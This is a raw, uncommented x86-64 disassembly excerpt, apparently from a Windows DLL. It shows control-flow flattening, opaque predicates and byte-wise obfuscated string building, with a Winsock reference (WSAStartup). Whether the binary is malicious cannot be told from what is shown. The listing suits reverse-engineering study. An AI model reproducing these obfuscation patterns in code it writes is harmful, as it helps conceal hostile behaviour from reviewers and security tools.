cmp ebx, 0x181e63e9
je 0x1800f7d78
cmp ebx, 0xa90857cf
jne 0x1800f7d10
movsxd rcx, dword [rbp - 0x18]
imul rbx, rcx, 0x4ec4ec4f
mov rsi, rbx
shr rsi, 0x3f
sar rbx, 0x22
add ebx, esi
lea esi, [rbx + rbx*2]
lea ebx, [rbx + rsi*4]
sub ecx, ebx
mov ebx, 0x181e63e9
jmp 0x1800f7d10
cmp ecx, 0x827c1a92
je 0x1800f7d8d
cmp ecx, 0xb3be8446
jne 0x1800f7ce0
mov ecx, edx
jmp 0x1800f7ce0
mov ecx, 0x27405158
jmp 0x1800f7ce0
mov ecx, edi
jmp 0x1800f7ce0
mov dword [rbp - 8], ecx
mov ecx, dword [rbp - 8]
mov ebx, dword [rbp - 0x28]
add bl, cl
mov ecx, 0xb3be8446
jmp 0x1800f7ce0
mov byte [rbp - 8], bl
mov cl, byte [rbp - 8]
mov byte [rax + 1], cl
mov dword [rbp - 0x28], 0x74
mov ecx, dword [0x180129538]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x18012953c], 0xa
setl dl
or dl, cl
mov edi, 0x446e11f
cmovne edi, r8d
mov edx, 0x446e11f
cmovne edx, r11d
mov ecx, 0x212eec83
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x446e11e
jle 0x1800f7e50
cmp ecx, 0x446e11f
je 0x1800f7e67
cmp ecx, 0x27405158
je 0x1800f7e71
cmp ecx, 0x212eec83
jne 0x1800f7de0
mov dword [rbp - 0x18], 0x2a
mov ebx, 0xa90857cf
nop dword [rax]
cmp ebx, 0x181e63e9
je 0x1800f7e78
cmp ebx, 0xa90857cf
jne 0x1800f7e10
movsxd rcx, dword [rbp - 0x18]
imul rbx, rcx, 0x4ec4ec4f
mov rsi, rbx
shr rsi, 0x3f
sar rbx, 0x22
add ebx, esi
lea esi, [rbx + rbx*2]
lea ebx, [rbx + rsi*4]
sub ecx, ebx
mov ebx, 0x181e63e9
jmp 0x1800f7e10
cmp ecx, 0x827c1a92
je 0x1800f7e8d
cmp ecx, 0xb3be8446
jne 0x1800f7de0
mov ecx, edx
jmp 0x1800f7de0
mov ecx, 0x27405158
jmp 0x1800f7de0
mov ecx, edi
jmp 0x1800f7de0
mov dword [rbp - 8], ecx
mov ecx, dword [rbp - 8]
mov ebx, dword [rbp - 0x28]
add bl, cl
mov ecx, 0xb3be8446
jmp 0x1800f7de0
mov byte [rbp - 8], bl
mov cl, byte [rbp - 8]
mov byte [rax + 2], cl
add rax, 3
mov qword [rbp], rax
mov eax, 0x35f6e6e2
jmp 0x1800f7b90
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x25], al
lea rax, [rbp + 0x26]
mov qword [rbp - 0x10], rax
mov byte [rbp - 0x40], 0x69
mov eax, 0xa5d8e784
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x35f6e6e2
je 0x1800f82e3
cmp eax, 0xa5d8e784
jne 0x1800f7ed0
movsx eax, byte [rbp - 0x40]
mov dword [rbp - 0x28], eax
mov eax, dword [0x180129538]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x18012953c], 0xa
setl cl
or cl, al
mov ebx, 0x446e11f
cmovne ebx, r8d
mov ecx, 0x446e11f
cmovne ecx, r11d
mov eax, 0x212eec83
nop
cmp eax, 0x446e11e
jle 0x1800f7f90
cmp eax, 0x446e11f
je 0x1800f7fa5
cmp eax, 0x27405158
je 0x1800f7faf
cmp eax, 0x212eec83
jne 0x1800f7f20
mov dword [rbp - 0x18], 0x2a
mov edx, 0xa90857cf
nop dword [rax + rax]
cmp edx, 0x181e63e9
je 0x1800f7fb6
cmp edx, 0xa90857cf
jne 0x1800f7f50
movsxd rax, dword [rbp - 0x18]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f7f50
cmp eax, 0x827c1a92
je 0x1800f7fcb
cmp eax, 0xb3be8446
jne 0x1800f7f20
mov eax, ecx
jmp 0x1800f7f20
mov eax, 0x27405158
jmp 0x1800f7f20
mov eax, ebx
jmp 0x1800f7f20
mov dword [rbp - 8], eax
mov eax, dword [rbp - 8]
mov edx, dword [rbp - 0x28]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f7f20
mov byte [rbp - 8], dl
mov al, byte [rbp - 8]
mov rcx, qword [rbp - 0x10]
mov byte [rcx], al
mov rax, qword [rbp - 0x10]
mov dword [rbp - 0x28], 0x6c
mov ecx, dword [0x180129538]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x18012953c], 0xa
setl dl
or dl, cl
mov edi, 0x446e11f
cmovne edi, r8d
mov edx, 0x446e11f
cmovne edx, r11d
mov ecx, 0x212eec83
nop word [rax + rax]
cmp ecx, 0x446e11e
jle 0x1800f8090
cmp ecx, 0x446e11f
je 0x1800f80a7
cmp ecx, 0x27405158
je 0x1800f80b1
cmp ecx, 0x212eec83
jne 0x1800f8020
mov dword [rbp - 0x18], 0x2a
mov ebx, 0xa90857cf
nop dword [rax]
cmp ebx, 0x181e63e9
je 0x1800f80b8
cmp ebx, 0xa90857cf
jne 0x1800f8050
movsxd rcx, dword [rbp - 0x18]
imul rbx, rcx, 0x4ec4ec4f
mov rsi, rbx
shr rsi, 0x3f
sar rbx, 0x22
add ebx, esi
lea esi, [rbx + rbx*2]
lea ebx, [rbx + rsi*4]
sub ecx, ebx
mov ebx, 0x181e63e9
jmp 0x1800f8050
cmp ecx, 0x827c1a92
je 0x1800f80cd
cmp ecx, 0xb3be8446
jne 0x1800f8020
mov ecx, edx
jmp 0x1800f8020
mov ecx, 0x27405158
jmp 0x1800f8020
mov ecx, edi
jmp 0x1800f8020
mov dword [rbp - 8], ecx
mov ecx, dword [rbp - 8]
mov ebx, dword [rbp - 0x28]
add bl, cl
mov ecx, 0xb3be8446
jmp 0x1800f8020
mov byte [rbp - 8], bl
mov cl, byte [rbp - 8]
mov byte [rax + 1], cl
mov dword [rbp - 0x28], 0x74
mov ecx, dword [0x180129538]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x18012953c], 0xa
setl dl
or dl, cl
mov edi, 0x446e11f
cmovne edi, r8d
mov edx, 0x446e11f
cmovne edx, r11d
mov ecx, 0x212eec83
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x446e11e
jle 0x1800f8190
cmp ecx, 0x446e11f
je 0x1800f81a7
cmp ecx, 0x27405158
je 0x1800f81b1
cmp ecx, 0x212eec83
jne 0x1800f8120
mov dword [rbp - 0x18], 0x2a
mov ebx, 0xa90857cf
nop dword [rax]
cmp ebx, 0x181e63e9
je 0x1800f81b8
cmp ebx, 0xa90857cf
jne 0x1800f8150
movsxd rcx, dword [rbp - 0x18]
imul rbx, rcx, 0x4ec4ec4f
mov rsi, rbx
shr rsi, 0x3f
sar rbx, 0x22
add ebx, esi
lea esi, [rbx + rbx*2]
lea ebx, [rbx + rsi*4]
sub ecx, ebx
mov ebx, 0x181e63e9
jmp 0x1800f8150
cmp ecx, 0x827c1a92
je 0x1800f81cd
cmp ecx, 0xb3be8446
jne 0x1800f8120
mov ecx, edx
jmp 0x1800f8120
mov ecx, 0x27405158
jmp 0x1800f8120
mov ecx, edi
jmp 0x1800f8120
mov dword [rbp - 8], ecx
mov ecx, dword [rbp - 8]
mov ebx, dword [rbp - 0x28]
add bl, cl
mov ecx, 0xb3be8446
jmp 0x1800f8120
mov byte [rbp - 8], bl
mov cl, byte [rbp - 8]
mov byte [rax + 2], cl
add rax, 3
mov qword [rbp], rax
mov eax, 0x35f6e6e2
jmp 0x1800f7ed0
mov dword [rbp - 0x28], 0x65
mov eax, dword [0x180129538]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x18012953c], 0xa
setl cl
or cl, al
mov ebx, 0x446e11f
cmovne ebx, r8d
mov ecx, 0x446e11f
cmovne ecx, r11d
mov eax, 0x212eec83
nop word cs:[rax + rax]
nop
cmp eax, 0x446e11e
jle 0x1800f82a0
cmp eax, 0x446e11f
je 0x1800f82bd
cmp eax, 0x27405158
je 0x1800f82c7
cmp eax, 0x212eec83
jne 0x1800f8230
mov dword [rbp - 0x18], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f82ce
cmp edx, 0xa90857cf
jne 0x1800f8260
movsxd rax, dword [rbp - 0x18]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f8260
cmp eax, 0x827c1a92
je 0x1800f83d3
cmp eax, 0xb3be8446
jne 0x1800f8230
mov eax, ecx
jmp 0x1800f8230
mov eax, 0x27405158
jmp 0x1800f8230
mov eax, ebx
jmp 0x1800f8230
mov dword [rbp - 8], eax
mov eax, dword [rbp - 8]
mov edx, dword [rbp - 0x28]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f8230
mov dword [rbp - 0x28], 0x65
mov eax, dword [0x180129538]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x18012953c], 0xa
setl cl
or cl, al
mov ebx, 0x446e11f
cmovne ebx, r8d
mov ecx, 0x446e11f
cmovne ecx, r11d
mov eax, 0x212eec83
nop
cmp eax, 0x446e11e
jle 0x1800f8390
cmp eax, 0x446e11f
je 0x1800f83ad
cmp eax, 0x27405158
je 0x1800f83b7
cmp eax, 0x212eec83
jne 0x1800f8320
mov dword [rbp - 0x18], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f83be
cmp edx, 0xa90857cf
jne 0x1800f8350
movsxd rax, dword [rbp - 0x18]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f8350
cmp eax, 0x827c1a92
je 0x1800f84d5
cmp eax, 0xb3be8446
jne 0x1800f8320
mov eax, ecx
jmp 0x1800f8320
mov eax, 0x27405158
jmp 0x1800f8320
mov eax, ebx
jmp 0x1800f8320
mov dword [rbp - 8], eax
mov eax, dword [rbp - 8]
mov edx, dword [rbp - 0x28]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f8320
mov byte [rbp - 8], dl
mov al, byte [rbp - 8]
mov rcx, qword [rbp]
mov byte [rcx], al
mov rax, qword [rbp]
mov dword [rbp - 0x28], WSAStartup
mov ecx, dword [0x180129538]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x18012953c], 0xa
setl dl
or dl, cl
mov edi, 0x446e11f
cmovne edi, r8d
mov edx, 0x446e11f
cmovne edx, r11d
mov ecx, 0x212eec83
nop
cmp ecx, 0x446e11e
jle 0x1800f8490
cmp ecx, 0x446e11f
je 0x1800f84af
cmp ecx, 0x27405158
je 0x1800f84b9
cmp ecx, 0x212eec83
jne 0x1800f8420
mov dword [rbp - 0x18], 0x2a
mov ebx, 0xa90857cf
cmp ebx, 0x181e63e9
je 0x1800f84c0
cmp ebx, 0xa90857cf
jne 0x1800f8450
movsxd rcx, dword [rbp - 0x18]
imul rbx, rcx, 0x4ec4ec4f
mov rsi, rbx
shr rsi, 0x3f
sar rbx, 0x22
add ebx, esi
lea esi, [rbx + rbx*2]
lea ebx, [rbx + rsi*4]
sub ecx, ebx
mov ebx, 0x181e63e9
jmp 0x1800f8450
cmp ecx, 0x827c1a92
je 0x1800f85dd
cmp ecx, 0xb3be8446
jne 0x1800f8420
mov ecx, edx
jmp 0x1800f8420
mov ecx, 0x27405158
jmp 0x1800f8420
mov ecx, edi
jmp 0x1800f8420
mov dword [rbp - 8], ecx
mov ecx, dword [rbp - 8]
mov ebx, dword [rbp - 0x28]
add bl, cl
mov ecx, 0xb3be8446
jmp 0x1800f8420
mov byte [rbp - 8], dl
mov al, byte [rbp - 8]
mov rcx, qword [rbp]
mov byte [rcx], al
mov rax, qword [rbp]
mov dword [rbp - 0x28], WSAStartup
mov ecx, dword [0x180129538]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x18012953c], 0xa
setl dl
or dl, cl
mov edi, 0x446e11f
cmovne edi, r8d
mov edx, 0x446e11f
cmovne edx, r11d
mov ecx, 0x212eec83
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x446e11e
jle 0x1800f85a0
cmp ecx, 0x446e11f
je 0x1800f85b7
cmp ecx, 0x27405158
je 0x1800f85c1
cmp ecx, 0x212eec83
jne 0x1800f8530
mov dword [rbp - 0x18], 0x2a
mov ebx, 0xa90857cf
nop dword [rax]
cmp ebx, 0x181e63e9
je 0x1800f85c8
cmp ebx, 0xa90857cf
jne 0x1800f8560
movsxd rcx, dword [rbp - 0x18]
imul rbx, rcx, 0x4ec4ec4f
mov rsi, rbx
shr rsi, 0x3f
sar rbx, 0x22
add ebx, esi
lea esi, [rbx + rbx*2]
lea ebx, [rbx + rsi*4]
sub ecx, ebx
mov ebx, 0x181e63e9
jmp 0x1800f8560
cmp ecx, 0x827c1a92
je 0x1800f85f4
cmp ecx, 0xb3be8446
jne 0x1800f8530
mov ecx, edx
jmp 0x1800f8530
mov ecx, 0x27405158
jmp 0x1800f8530
mov ecx, edi
jmp 0x1800f8530
mov dword [rbp - 8], ecx
mov ecx, dword [rbp - 8]
mov ebx, dword [rbp - 0x28]
add bl, cl
mov ecx, 0xb3be8446
jmp 0x1800f8530
mov byte [rbp - 8], bl
mov cl, byte [rbp - 8]
mov byte [rax + 1], cl
mov byte [rax + 2], 0
mov eax, 0x8c8ddb2b
jmp 0x1800f5678
mov byte [rbp - 8], bl
mov cl, byte [rbp - 8]
mov byte [rax + 1], cl
mov byte [rax + 2], 0
mov eax, dword [0x1801294d0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9939de37
mov ecx, 0x10ee78bc
cmove eax, ecx
cmp dword [0x1801294d4], 0xa
cmovl eax, ecx
jmp 0x1800f5678
cmp eax, 0xffccefbb
jne 0x1800f5678
jmp 0x1800fa574
mov rax, qword [rbp - 0x58]
lea r8, [rax + 7]
mov edx, 0xa3bc26e9
nop dword [rax]
cmp edx, 0xc9d7fdc5
je 0x1800f9100
cmp edx, 0xa3bc26e9
jne 0x1800f8650
mov edx, dword [0x1801296d8]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
sete byte [rbp - 0x28]
mov edx, dword [0x1801296dc]
mov ebx, 0xf27d464
cmove ebx, r9d
cmp edx, 0xa
setl byte [rbp - 0x18]
cmovl ebx, r9d
mov edx, 0xdb3006e3
nop word cs:[rax + rax]
cmp edx, 0xf27d463
jle 0x1800f86d0
cmp edx, 0xf27d464
je 0x1800f86ec
cmp edx, 0x41156582
je 0x1800f8713
cmp edx, 0x5855ae01
jne 0x1800f86a0
mov edx, 0xd78b3f72
jmp 0x1800f86a0
cmp edx, 0xd78b3f72
je 0x1800f86f3
cmp edx, 0xdb3006e3
je 0x1800f86fa
cmp edx, 0x8397b32
jne 0x1800f86a0
mov edx, ebx
jmp 0x1800f86a0
mov edx, 0x8397b32
jmp 0x1800f86a0
mov edx, 0x41156582
jmp 0x1800f86a0
movzx ecx, byte [rbp - 0x28]
cmp byte [rbp - 0x18], 0
mov edx, 0xf27d464
cmovne edx, r10d
test cl, cl
cmovne edx, r10d
jmp 0x1800f86a0
mov dword [rbp - 0x10], 0x43
mov edx, 0x1161ada2
nop
cmp edx, 0x1161ada2
je 0x1800f8732
cmp edx, 0x46f34c20
jne 0x1800f8720
jmp 0x1800f8739
mov edx, 0x46f34c20
jmp 0x1800f8720
mov byte [rbp - 8], 3
mov cl, byte [rbp - 8]
mov edx, dword [rbp - 0x10]
add dl, cl
mov byte [rax], dl
mov ecx, dword [0x1801296d8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete byte [rbp - 0x28]
mov ecx, dword [0x1801296dc]
mov ebx, 0xf27d464
cmove ebx, r9d
cmp ecx, 0xa
setl byte [rbp - 0x18]
cmovl ebx, r9d
mov edx, 0xdb3006e3
nop dword [rax]
cmp edx, 0xf27d463
jle 0x1800f87b0
cmp edx, 0xf27d464
je 0x1800f87cc
cmp edx, 0x41156582
je 0x1800f87f3
cmp edx, 0x5855ae01
jne 0x1800f8780
mov edx, 0xd78b3f72
jmp 0x1800f8780
cmp edx, 0xd78b3f72
je 0x1800f87d3
cmp edx, 0xdb3006e3
je 0x1800f87da
cmp edx, 0x8397b32
jne 0x1800f8780
mov edx, ebx
jmp 0x1800f8780
mov edx, 0x8397b32
jmp 0x1800f8780
mov edx, 0x41156582
jmp 0x1800f8780
movzx ecx, byte [rbp - 0x28]
cmp byte [rbp - 0x18], 0
mov edx, 0xf27d464
cmovne edx, r10d
test cl, cl
cmovne edx, r10d
jmp 0x1800f8780
mov dword [rbp - 0x10], WSAStartup
mov edx, 0x1161ada2
nop
cmp edx, 0x1161ada2
je 0x1800f8812
cmp edx, 0x46f34c20
jne 0x1800f8800
jmp 0x1800f8819
mov edx, 0x46f34c20
jmp 0x1800f8800
mov byte [rbp - 8], 3
mov cl, byte [rbp - 8]
mov edx, dword [rbp - 0x10]
add dl, cl
mov byte [rax + 1], dl
mov ecx, dword [0x1801296d8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete byte [rbp - 0x28]
mov ecx, dword [0x1801296dc]
mov ebx, 0xf27d464
cmove ebx, r9d
cmp ecx, 0xa
setl byte [rbp - 0x18]
cmovl ebx, r9d
mov edx, 0xdb3006e3
nop word [rax + rax]
cmp edx, 0xf27d463
jle 0x1800f8890
cmp edx, 0xf27d464
je 0x1800f88ac
cmp edx, 0x41156582
je 0x1800f88d3
cmp edx, 0x5855ae01
jne 0x1800f8860
mov edx, 0xd78b3f72
jmp 0x1800f8860
cmp edx, 0xd78b3f72
je 0x1800f88b3
cmp edx, 0xdb3006e3
je 0x1800f88ba
cmp edx, 0x8397b32
jne 0x1800f8860
mov edx, ebx
jmp 0x1800f8860
mov edx, 0x8397b32
jmp 0x1800f8860
mov edx, 0x41156582
jmp 0x1800f8860
movzx ecx, byte [rbp - 0x28]
cmp byte [rbp - 0x18], 0
mov edx, 0xf27d464
cmovne edx, r10d
test cl, cl
cmovne edx, r10d
jmp 0x1800f8860
mov dword [rbp - 0x10], 0x65
mov edx, 0x1161ada2
nop
cmp edx, 0x1161ada2
je 0x1800f88f2
cmp edx, 0x46f34c20
jne 0x1800f88e0
jmp 0x1800f88f9
mov edx, 0x46f34c20
jmp 0x1800f88e0
mov byte [rbp - 8], 3
mov cl, byte [rbp - 8]
mov edx, dword [rbp - 0x10]
add dl, cl
mov byte [rax + 2], dl
mov ecx, dword [0x1801296d8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete byte [rbp - 0x28]
mov ecx, dword [0x1801296dc]
mov ebx, 0xf27d464
cmove ebx, r9d
cmp ecx, 0xa
setl byte [rbp - 0x18]
cmovl ebx, r9d
mov edx, 0xdb3006e3
nop word [rax + rax]
cmp edx, 0xf27d463
jle 0x1800f8970
cmp edx, 0xf27d464
je 0x1800f898c
cmp edx, 0x41156582
je 0x1800f89b3
cmp edx, 0x5855ae01
jne 0x1800f8940
mov edx, 0xd78b3f72
jmp 0x1800f8940
cmp edx, 0xd78b3f72
je 0x1800f8993
cmp edx, 0xdb3006e3
je 0x1800f899a
cmp edx, 0x8397b32
jne 0x1800f8940
mov edx, ebx
jmp 0x1800f8940
mov edx, 0x8397b32
jmp 0x1800f8940
mov edx, 0x41156582
jmp 0x1800f8940
movzx ecx, byte [rbp - 0x28]
cmp byte [rbp - 0x18], 0
mov edx, 0xf27d464
cmovne edx, r10d
test cl, cl
cmovne edx, r10d
jmp 0x1800f8940
mov dword [rbp - 0x10], 0x61
mov edx, 0x1161ada2
nop
cmp edx, 0x1161ada2
je 0x1800f89d2
cmp edx, 0x46f34c20
jne 0x1800f89c0
jmp 0x1800f89d9
mov edx, 0x46f34c20
jmp 0x1800f89c0
mov byte [rbp - 8], 3
mov cl, byte [rbp - 8]
mov edx, dword [rbp - 0x10]
add dl, cl
mov byte [rax + 3], dl
mov ecx, dword [0x1801296d8]
lea ebx, [rcx - 1]
imul ebx, ecx
test bl, 1
sete byte [rbp - 0x28]
mov edi, dword [0x1801296dc]
mov esi, 0xf27d464
cmove esi, r9d
cmp edi, 0xa
setl byte [rbp - 0x18]
cmovl esi, r9d
mov edx, 0xdb3006e3
nop word [rax + rax]
cmp edx, 0xf27d463
jle 0x1800f8a50
cmp edx, 0xf27d464
je 0x1800f8a6c
cmp edx, 0x41156582
je 0x1800f8a93
cmp edx, 0x5855ae01
jne 0x1800f8a20
mov edx, 0xd78b3f72
jmp 0x1800f8a20
cmp edx, 0xd78b3f72
je 0x1800f8a73
cmp edx, 0xdb3006e3
je 0x1800f8a7a
cmp edx, 0x8397b32
jne 0x1800f8a20
mov edx, esi
jmp 0x1800f8a20
mov edx, 0x8397b32
jmp 0x1800f8a20
mov edx, 0x41156582
jmp 0x1800f8a20
movzx ecx, byte [rbp - 0x28]
cmp byte [rbp - 0x18], 0
mov edx, 0xf27d464
cmovne edx, r10d
test cl, cl
cmovne edx, r10d
jmp 0x1800f8a20
mov dword [rbp - 0x10], 0x74
mov edx, 0x1161ada2
nop
cmp edx, 0x1161ada2
je 0x1800f8ab2
cmp edx, 0x46f34c20
jne 0x1800f8aa0
jmp 0x1800f8ab9
mov edx, 0x46f34c20
jmp 0x1800f8aa0
mov byte [rbp - 8], 3
mov cl, byte [rbp - 8]
mov edx, dword [rbp - 0x10]
add dl, cl
test bl, 1
mov byte [rax + 4], dl
sete byte [rbp - 0x28]
cmp edi, 0xa
setl byte [rbp - 0x18]
mov edx, 0xdb3006e3
nop dword [rax + rax]
cmp edx, 0xf27d463
jle 0x1800f8b10
cmp edx, 0xf27d464
je 0x1800f8b2c
cmp edx, 0x41156582
je 0x1800f8b53
cmp edx, 0x5855ae01
jne 0x1800f8ae0
mov edx, 0xd78b3f72
jmp 0x1800f8ae0
cmp edx, 0xd78b3f72
je 0x1800f8b33
cmp edx, 0xdb3006e3
je 0x1800f8b3a
cmp edx, 0x8397b32
jne 0x1800f8ae0
mov edx, esi
jmp 0x1800f8ae0
mov edx, 0x8397b32
jmp 0x1800f8ae0
mov edx, 0x41156582
jmp 0x1800f8ae0
movzx ecx, byte [rbp - 0x28]
cmp byte [rbp - 0x18], 0
mov edx, 0xf27d464
cmovne edx, r10d
test cl, cl
cmovne edx, r10d
jmp 0x1800f8ae0
mov dword [rbp - 0x10], 0x65
mov edx, 0x1161ada2
nop
cmp edx, 0x1161ada2
je 0x1800f8b72
cmp edx, 0x46f34c20
jne 0x1800f8b60
jmp 0x1800f8b79
mov edx, 0x46f34c20
jmp 0x1800f8b60
mov byte [rbp - 8], 3
mov cl, byte [rbp - 8]
mov edx, dword [rbp - 0x10]
add dl, cl
test bl, 1
mov byte [rax + 5], dl
sete byte [rbp - 0x28]
cmp edi, 0xa
setl byte [rbp - 0x18]
mov edx, 0xdb3006e3
nop dword [rax + rax]
cmp edx, 0xf27d463
jle 0x1800f8bd0
cmp edx, 0xf27d464
je 0x1800f8bec
cmp edx, 0x41156582
je 0x1800f8c13
cmp edx, 0x5855ae01
jne 0x1800f8ba0
mov edx, 0xd78b3f72
jmp 0x1800f8ba0
cmp edx, 0xd78b3f72
je 0x1800f8bf3
cmp edx, 0xdb3006e3
je 0x1800f8bfa
cmp edx, 0x8397b32
jne 0x1800f8ba0
mov edx, esi
jmp 0x1800f8ba0
mov edx, 0x8397b32
jmp 0x1800f8ba0
mov edx, 0x41156582
jmp 0x1800f8ba0
movzx ecx, byte [rbp - 0x28]
cmp byte [rbp - 0x18], 0
mov edx, 0xf27d464
cmovne edx, r10d
test cl, cl
cmovne edx, r10d
jmp 0x1800f8ba0
mov dword [rbp - 0x10], 0x54
mov edx, 0x1161ada2
nop
cmp edx, 0x1161ada2
je 0x1800f8c32
cmp edx, 0x46f34c20
jne 0x1800f8c20
jmp 0x1800f8c39
mov edx, 0x46f34c20
jmp 0x1800f8c20
mov byte [rbp - 8], 3
mov cl, byte [rbp - 8]
mov edx, dword [rbp - 0x10]
add dl, cl
mov byte [rax + 6], dl
mov qword [rbp], r8
mov edx, 0xc9d7fdc5
jmp 0x1800f8650
sub rsp, 0x20
lea rcx, [rbp + 0x10]
call fcn.1800fa5a0
add rsp, 0x20
mov ecx, dword [0x1801294e0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
mov r10d, 0xd53d7942
mov edx, 0x3c88099c
cmovne r10d, edx
cmp dword [0x1801294e4], 0xa
setl dl
mov ebx, 0xd53d7942
cmovl r10d, ebx
or dl, cl
mov r8d, 0xf9c47bc
mov ecx, 0x37b08906
cmovne r8d, ecx
mov r12d, 0xf9c47bc
mov ecx, 0xa3c9f9bf
cmovne r12d, ecx
mov r9d, 0x3c88099c
mov ecx, 0x282e48bc
cmovne r9d, ecx
mov ebx, 0x8af4ce9b
jmp 0x1800f8cf0
mov rdi, qword [rbp - 0x10]
mov ebx, 0xa3c9f9bf
nop word cs:[rax + rax]
nop
mov edi, ebx
cmp ebx, 0x212c6d15
jle 0x1800f8d40
cmp edi, 0x3c88099b
jle 0x1800f8da0
cmp edi, 0x52206a52
jle 0x1800f8e46
cmp edi, 0x6b642c91
jg 0x1800f8f25
cmp edi, 0x52206a53
je 0x1800f8f45
mov ebx, edi
cmp edi, 0x5a271eef
jne 0x1800f8cf0
mov ebx, 0xceeedbf2
mov r11d, dword [rbp - 0x28]
jmp 0x1800f8cf0
cmp edi, 0xd8f901bd
jg 0x1800f8df0
cmp edi, 0xa3c9f9be
jg 0x1800f8e76
cmp edi, 0x8722d6a5
je 0x1800f8f51
cmp edi, 0x8af4ce9b
je 0x1800f8f67
mov ebx, edi
cmp edi, 0x90bf4f40
jne 0x1800f8cf0
mov edi, dword [rbp - 0x40]
or edi, 0x20
mov dword [rbp - 0x28], edi
mov ebx, 0x5a271eef
jmp 0x1800f8cf0
cmp edi, 0x333d9636
jg 0x1800f8ead
mov ebx, r12d
cmp edi, 0x212c6d16
je 0x1800f8cf0
cmp edi, 0x282e48bc
je 0x1800f8f71
mov ebx, edi
cmp edi, 0x30a8a37e
jne 0x1800f8cf0
mov ebx, 0x333d9637
mov edx, dword [rbp - 0x50]
jmp 0x1800f8cf0
cmp edi, 0xf9c47bb
jg 0x1800f8ee9
cmp edi, 0xd8f901be
je 0x1800f8f7b
mov ebx, r10d
cmp edi, 0xde149e36
je 0x1800f8cf0
mov ebx, edi
cmp edi, 0xe8b285e9
jne 0x1800f8cf0
mov dword [rbp - 8], ecx
mov qword [rbp], rsi
mov edi, dword [rbp - 0x18]
mov ebx, dword [rbp - 8]
cmp ebx, edi
mov ebx, 0x73cb3c68
mov edi, 0x6b642c92
cmovb ebx, edi
jmp 0x1800f8cf0
cmp edi, 0x3c88099c
je 0x1800f8f89
cmp edi, 0x3c99517c
je 0x1800f8f99
mov ebx, edi
cmp edi, 0x4c9efa83
jne 0x1800f8cf0
mov ebx, 0x3c99517c
jmp 0x1800f8cf0
cmp edi, 0xa3c9f9bf
je 0x1800f8fa8
cmp edi, 0xceeedbf2
je 0x1800f8fc4
mov ebx, edi
cmp edi, 0xd53d7942
jne 0x1800f8cf0
mov edi, dword [rbp - 0x18]
add edi, 1
mov dword [rbp - 0x50], edi
mov ebx, r9d
jmp 0x1800f8cf0
cmp edi, 0x333d9637
je 0x1800f9004
cmp edi, 0x37aeee4c
je 0x1800f9029
mov ebx, edi
cmp edi, 0x37b08906
jne 0x1800f8cf0
cmp byte [rbp - 0x19], 0
mov ebx, 0xd8f901be
mov edi, 0x37aeee4c
cmovne ebx, edi
jmp 0x1800f8cf0
cmp edi, 0xf9c47bc
je 0x1800f8cdb
cmp edi, 0x12c44dda
je 0x1800f903d
mov ebx, edi
cmp edi, 0x1e7f08b0
jne 0x1800f8cf0
cmp byte [rbp - 0x34], 0
mov ebx, 0xd8f901be
mov edi, 0x90bf4f40
cmovne ebx, edi
jmp 0x1800f8cf0
cmp edi, 0x6b642c92
jne 0x1800f9051
mov edi, dword [rbp - 8]
add rdi, rax
mov qword [rbp - 0x10], rdi
mov ebx, 0x212c6d16
jmp 0x1800f8cf0
mov ebx, 0x333d9637
xor edx, edx
jmp 0x1800f8cf0
cmp byte [rbp - 0x29], 0
mov ebx, 0x4c9efa83
mov edi, 0xde149e36
cmovne ebx, edi
jmp 0x1800f8cf0
mov ebx, 0x52206a53
jmp 0x1800f8cf0
mov ebx, 0x30a8a37e
jmp 0x1800f8cf0
mov ebx, 0xceeedbf2
mov r11d, dword [rbp - 0x40]
jmp 0x1800f8cf0
mov edi, dword [rbp - 0x18]
mov edi, dword [rbp - 0x18]
mov ebx, 0xd53d7942
jmp 0x1800f8cf0
mov ebx, 0xe8b285e9
xor ecx, ecx
mov rsi, r13
jmp 0x1800f8cf0
mov rdi, qword [rbp - 0x10]
movsx edi, byte [rdi]
mov dword [rbp - 0x40], edi
mov edi, dword [rbp - 0x40]
cmp edi, 0x41
setge byte [rbp - 0x19]
mov ebx, r8d
jmp 0x1800f8cf0
movsxd rsi, r11d
mov rcx, qword [rbp]
mov rdi, rcx
xor rdi, r15
mov rbx, rsi
xor rbx, r15
xor rcx, r14
